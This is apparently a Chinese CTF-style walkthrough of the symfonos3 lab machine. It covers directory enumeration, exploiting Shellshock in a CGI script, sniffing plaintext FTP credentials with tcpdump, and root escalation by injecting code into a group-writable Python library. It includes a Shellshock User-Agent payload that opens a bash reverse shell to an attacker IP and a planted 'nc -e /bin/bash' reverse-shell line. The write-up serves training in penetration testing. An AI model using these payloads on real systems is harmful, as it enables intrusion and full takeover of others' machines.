从目录枚举到bash破壳漏洞、从流量抓包到组权限提权:靶机练习之symfonos3

信息搜集

复制代码
nmap -sT --min-rate 10000 192.168.8.8 -p-

ftp/ssh/web80,经典 的三个端口

复制代码
nmap -sT -sC -sV -O 192.168.8.8 -p21,22,80 -o ports 

ftp的这个版本似乎是有文件复制的漏洞

web渗透

gobuster扫描

先扫了一波敏感文件,只出了一个gate目录

复制代码
gobuster dir -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

进一步目录扫描,仍然只出了一个目录

复制代码
gobuster dir -u http://192.168.8.8/gate/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

dirsearch递归扫描

因为目录一层一层的出来,这边考虑尝试直接用递归扫描

复制代码
dirsearch -u http://192.168.8.8/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -e txt,bak,php -r --deep-recursive

结果一样仍然只有一个目录

dirb扫描

换个工具再试一下呢

复制代码
dirb http://192.168.8.8

有不同的结果,扫出了cgi-bin,字典中其实都是包含的,这是为什么呢

复制代码
  ┌───────────┬──────────────────────────┬─────────────────────────┐
  │   工具    │       目录测试方式       │ 能发现 ScriptAlias 目录 │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ dirb      │ 自动补 / 测试            │ 能                      │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ gobuster  │ 不补 /,依赖服务端 301   │ 不能                    │
  ├───────────┼──────────────────────────┼─────────────────────────┤
  │ dirsearch │ 不补 /(默认),依赖 301 │ 不能                    │

简单用curl测试一下。不带/就会404了,确实是这个原因

目前得到了一个403的目录,dirb继续扫了一下发现没有结果

这边转头就换了,gobuster,因为它配置大字典扫的更快,

复制代码
gobuster dir -u http://192.168.8.8/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x txt,bak,php

果然有隐藏目录,打开发现似乎是一个脚本,执行了uptime的命令,可以查看时间和服务器状态

kali本机中也有相应的程序

nikto扫描

走到这一步仍然没有特别明晰的思路,于是尝试让nikto做一个web扫描

复制代码
nikto -h http://192.168.8.8/cgi-bin/underworld

爆了一个cve的漏洞,是shellshock,bash破壳漏洞

复制代码
() { :; }; echo; /usr/bin/id

burp抓包发送payload

成功命令执行

反弹shell

复制代码
User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.8.11/4444 0>&1'

linpeas提权靶机敏感信息

因为没有找到太多有用的信息,这边先用linpeas提权一下关键信息

发现靶机有抓包工具tcpdump

流量包抓取分析

因为ftp是明文传输,而靶机上面正好也有tcpdump抓包的环境,所以这边进行抓包分析

对外的网卡是ens33

复制代码
tcpdump -i ens33 -w ftp.pcap -c 10000
#这边可以指定数据包数量,防止需要中断抓包导致反弹shell断联

ens33网卡数据包没有关于ftp的数据,ftp可能是内部lo网卡通信

复制代码
tcp.port == 21
复制代码
tcpdump -i lo -w ftp.pcap

泄露了密码账号密码hades/PTpZTfU4vxgzvRBE

成功登录hades 的ftp

提权

凭证复用

这边直接尝试用刚才的凭证登录ssh,也是直接成功登录

因为抓包的时候发现ftp一直在内部通信,所以尝试先找一下这个程序运行的位置

复制代码
find / -name ftp* 2>/dev/null

找到这个ftp,应该是定期做服务的状态监测

它导入了一个ftplib的

组权限提权

执行id命令的时候发现,hades有gods的组权限

查找有1002组权限的文件、文件夹

复制代码
find / -name ftp -group 1002 -type f 2>/dev/null
复制代码
find / -group 1002 -type d 2>/dev/null

发现1002拥有整个python2.7库的组权限

这时候再查找一下ftplib的权限

复制代码
ls -liah ftplib*

确实是有gods的组权限
那就简单了直接再fptlib.py尾部追加payload

复制代码
import os
os.system("nc -e /bin/bash 192.168.8.11 4444")

同步开启反弹shell接收,等待片刻

成功提权

小结一下

复制代码
靶机的难度是中级到hard之间,打下来感觉还是有难度的。从一开始的目录枚举,就有很多坑要踩,不同的目录扫描工具扫描策略其实是有侧重的,dirb会对目录和文件双重扫描,gobuster扫的更快等等;然后就是nikto针对web指纹的扫描还是比较好用的,也是识别到了bash破壳漏洞;linpeas作为linux后渗透工具也是经常会用到,这个算是常规思路;tcpdump流量包抓取ftp流量,也是要mark的,因为ftp它是明文传输,只要能抓包就能拿到账号密码;最后的组权限提权,也是一个非常经典的案例,通过在组权限的python库文件注入payload,拿到root
相关推荐
小羊没烦恼!16 小时前
初探性能优化——2个月到4小时的性能提升
java·开发语言·windows·算法·c#
伞伞悦读17 小时前
【第38期】Python 模块与包详解:import、from、模块搜索路径、包结构和 __init__
开发语言·python
C语言小火车18 小时前
C/C++ 为什么需要编译器?
开发语言·c++
霍霍的袁18 小时前
【C++】map 和 set 的使用 | 从用法到底层
开发语言·c++·学习·visual studio
孙启超19 小时前
【AI开发之Rust】第 11 课:智能指针与内部可变性
开发语言·后端·rust
此生决int19 小时前
深入理解C++系列(20)——C++11(下)
开发语言·c++
CoderYanger20 小时前
A.每日一题:835. 图像重叠
java·开发语言·程序人生·leetcode·面试·职场和发展·学习方法
伞伞悦读21 小时前
【第37期】Python JSON 与配置详解:序列化、反序列化、嵌套结构和配置文件
开发语言·python·json
CCCCCCCCharlie21 小时前
Linux进程控制四大核心操作
linux·开发语言
Brilliantwxx1 天前
【STM32】 SPI Flash 驱动开发实战:阻塞模式驱动 W25Q64(含工程代码)
开发语言·stm32·单片机·嵌入式硬件